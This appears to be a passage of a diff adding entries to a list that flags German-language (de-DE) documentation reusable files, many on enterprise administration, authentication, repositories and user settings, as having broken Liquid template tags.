+translations/de-DE/data/reusables/enterprise_installation/download-package.md,broken liquid tags
+translations/de-DE/data/reusables/enterprise_installation/hardware-considerations-all-platforms.md,broken liquid tags
+translations/de-DE/data/reusables/enterprise_installation/hotpatching-explanation.md,broken liquid tags
+translations/de-DE/data/reusables/enterprise_installation/image-urls-viewable-warning.md,broken liquid tags
+translations/de-DE/data/reusables/enterprise_installation/ssh-into-instance.md,broken liquid tags
+translations/de-DE/data/reusables/enterprise_site_admin_settings/dormancy-threshold.md,broken liquid tags
+translations/de-DE/data/reusables/enterprise_site_admin_settings/sign-in.md,broken liquid tags
+translations/de-DE/data/reusables/enterprise_site_admin_settings/tls-downtime.md,broken liquid tags
+translations/de-DE/data/reusables/enterprise_user_management/alternatively-enable-external-authentication.md,broken liquid tags
+translations/de-DE/data/reusables/enterprise_user_management/built-in-authentication-new-accounts.md,broken liquid tags
+translations/de-DE/data/reusables/enterprise_user_management/built-in-authentication.md,broken liquid tags
+translations/de-DE/data/reusables/enterprise_user_management/consider-usernames-for-external-authentication.md,broken liquid tags
+translations/de-DE/data/reusables/enterprise_user_management/disclaimer-for-git-read-access.md,broken liquid tags
+translations/de-DE/data/reusables/files/choose-commit-email.md,broken liquid tags
+translations/de-DE/data/reusables/gated-features/codespaces-classroom-articles.md,broken liquid tags
+translations/de-DE/data/reusables/gated-features/dependency-vulnerable-calls.md,broken liquid tags
+translations/de-DE/data/reusables/gated-features/secret-scanning-partner.md,broken liquid tags
+translations/de-DE/data/reusables/gated-features/secret-scanning.md,broken liquid tags
+translations/de-DE/data/reusables/getting-started/actions.md,broken liquid tags
+translations/de-DE/data/reusables/getting-started/adding-members-to-organizations.md,broken liquid tags
+translations/de-DE/data/reusables/getting-started/configuring-security-features.md,broken liquid tags
+translations/de-DE/data/reusables/getting-started/creating-organizations.md,broken liquid tags
+translations/de-DE/data/reusables/getting-started/enforcing-repo-management-policies.md,broken liquid tags
+translations/de-DE/data/reusables/getting-started/enterprise-advanced-security.md,broken liquid tags
+translations/de-DE/data/reusables/getting-started/managing-enterprise-members.md,broken liquid tags
+translations/de-DE/data/reusables/git/git-push.md,broken liquid tags
+translations/de-DE/data/reusables/git/provide-credentials.md,broken liquid tags
+translations/de-DE/data/reusables/large_files/storage_assets_location.md,broken liquid tags
+translations/de-DE/data/reusables/large_files/use_lfs_tip.md,broken liquid tags
+translations/de-DE/data/reusables/notifications/outbound_email_tip.md,broken liquid tags
+translations/de-DE/data/reusables/notifications/shared_state.md,broken liquid tags
+translations/de-DE/data/reusables/organizations/billing_plans.md,broken liquid tags
+translations/de-DE/data/reusables/organizations/github-apps-settings-sidebar.md,broken liquid tags
+translations/de-DE/data/reusables/organizations/member-privileges.md,broken liquid tags
+translations/de-DE/data/reusables/organizations/navigate-to-org.md,broken liquid tags
+translations/de-DE/data/reusables/organizations/repository-defaults.md,broken liquid tags
+translations/de-DE/data/reusables/organizations/security-and-analysis.md,broken liquid tags
+translations/de-DE/data/reusables/organizations/security.md,broken liquid tags
+translations/de-DE/data/reusables/organizations/teams_sidebar.md,broken liquid tags
+translations/de-DE/data/reusables/organizations/verified-domains.md,broken liquid tags
+translations/de-DE/data/reusables/package_registry/authenticate-packages.md,broken liquid tags
+translations/de-DE/data/reusables/package_registry/authenticate-to-container-registry-steps.md,broken liquid tags
+translations/de-DE/data/reusables/package_registry/next-steps-for-packages-enterprise-setup.md,broken liquid tags
+translations/de-DE/data/reusables/package_registry/package-registry-with-github-tokens.md,broken liquid tags
+translations/de-DE/data/reusables/package_registry/packages-billing.md,broken liquid tags
+translations/de-DE/data/reusables/package_registry/required-scopes.md,broken liquid tags
+translations/de-DE/data/reusables/pages/build-failure-email-server.md,broken liquid tags
+translations/de-DE/data/reusables/pages/emu-org-only.md,broken liquid tags
+translations/de-DE/data/reusables/pages/sidebar-pages.md,broken liquid tags
+translations/de-DE/data/reusables/projects/enable-basic-workflow.md,broken liquid tags
+translations/de-DE/data/reusables/projects/projects-filters.md,broken liquid tags
+translations/de-DE/data/reusables/pull_requests/configure_pull_request_merges_intro.md,broken liquid tags
+translations/de-DE/data/reusables/pull_requests/default_merge_option.md,broken liquid tags
+translations/de-DE/data/reusables/pull_requests/pull_request_merges_and_contributions.md,broken liquid tags
+translations/de-DE/data/reusables/pull_requests/rebase_and_merge_summary.md,broken liquid tags
+translations/de-DE/data/reusables/pull_requests/resolving-conversations.md,broken liquid tags
+translations/de-DE/data/reusables/pull_requests/squash_and_merge_summary.md,broken liquid tags
+translations/de-DE/data/reusables/repositories/changed-files.md,broken liquid tags
+translations/de-DE/data/reusables/repositories/deploy-keys.md,broken liquid tags
+translations/de-DE/data/reusables/repositories/enable-security-alerts.md,broken liquid tags
+translations/de-DE/data/reusables/repositories/navigate-to-code-security-and-analysis.md,broken liquid tags
+translations/de-DE/data/reusables/repositories/navigate-to-commit-page.md,broken liquid tags
+translations/de-DE/data/reusables/repositories/navigate-to-repo.md,broken liquid tags
+translations/de-DE/data/reusables/repositories/repository-branches.md,broken liquid tags
+translations/de-DE/data/reusables/repositories/sidebar-notifications.md,broken liquid tags
+translations/de-DE/data/reusables/repositories/suggest-changes.md,broken liquid tags
+translations/de-DE/data/reusables/repositories/you-can-fork.md,broken liquid tags
+translations/de-DE/data/reusables/rest-api/dotcom-only-guide-note.md,broken liquid tags
+translations/de-DE/data/reusables/saml/about-authorized-credentials.md,broken liquid tags
+translations/de-DE/data/reusables/saml/about-linked-identities.md,broken liquid tags
+translations/de-DE/data/reusables/saml/about-saml-access-enterprise-account.md,broken liquid tags
+translations/de-DE/data/reusables/saml/authorized-creds-info.md,broken liquid tags
+translations/de-DE/data/reusables/saml/must-authorize-linked-identity.md,broken liquid tags
+translations/de-DE/data/reusables/saml/you-must-periodically-authenticate.md,broken liquid tags
+translations/de-DE/data/reusables/scim/enterprise-account-scim.md,broken liquid tags
+translations/de-DE/data/reusables/scim/supported-idps.md,broken liquid tags
+translations/de-DE/data/reusables/search/syntax_tips.md,broken liquid tags
+translations/de-DE/data/reusables/secret-scanning/enterprise-enable-secret-scanning.md,broken liquid tags
+translations/de-DE/data/reusables/secret-scanning/partner-secret-list-private-repo.md,broken liquid tags
+translations/de-DE/data/reusables/shortdesc/rate_limits_github_apps.md,broken liquid tags
+translations/de-DE/data/reusables/sponsors/select-sponsorship-billing.md,broken liquid tags
+translations/de-DE/data/reusables/ssh/about-ssh.md,broken liquid tags
+translations/de-DE/data/reusables/ssh/rsa-sha-1-connection-failure-criteria.md,broken liquid tags
+translations/de-DE/data/reusables/support/help_resources.md,broken liquid tags
+translations/de-DE/data/reusables/support/submit-a-ticket.md,broken liquid tags
+translations/de-DE/data/reusables/user-settings/access_applications.md,broken liquid tags
+translations/de-DE/data/reusables/user-settings/account_settings.md,broken liquid tags
+translations/de-DE/data/reusables/user-settings/appearance-settings.md,broken liquid tags
+translations/de-DE/data/reusables/user-settings/developer_settings.md,broken liquid tags
+translations/de-DE/data/reusables/user-settings/emails.md,broken liquid tags
+translations/de-DE/data/reusables/user-settings/organizations.md,broken liquid tags
+translations/de-DE/data/reusables/user-settings/personal_access_tokens.md,broken liquid tags
+translations/de-DE/data/reusables/user-settings/removes-personal-access-tokens.md,broken liquid tags
+translations/de-DE/data/reusables/user-settings/repo-tab.md,broken liquid tags
+translations/de-DE/data/reusables/user-settings/saved_replies.md,broken liquid tags
+translations/de-DE/data/reusables/user-settings/security-analysis.md,broken liquid tags
+translations/de-DE/data/reusables/user-settings/security.md,broken liquid tags
+translations/de-DE/data/reusables/user-settings/ssh.md,broken liquid tags
+translations/de-DE/data/reusables/webhooks/repository_vulnerability_alert_short_desc.md,broken liquid tags
+translations/de-DE/data/reusables/webhooks/workflow_run_properties.md,broken liquid tags
+translations/de-DE/data/variables/product.yml,broken liquid tags
+translations/de-DE/data/variables/projects.yml,broken liquid tags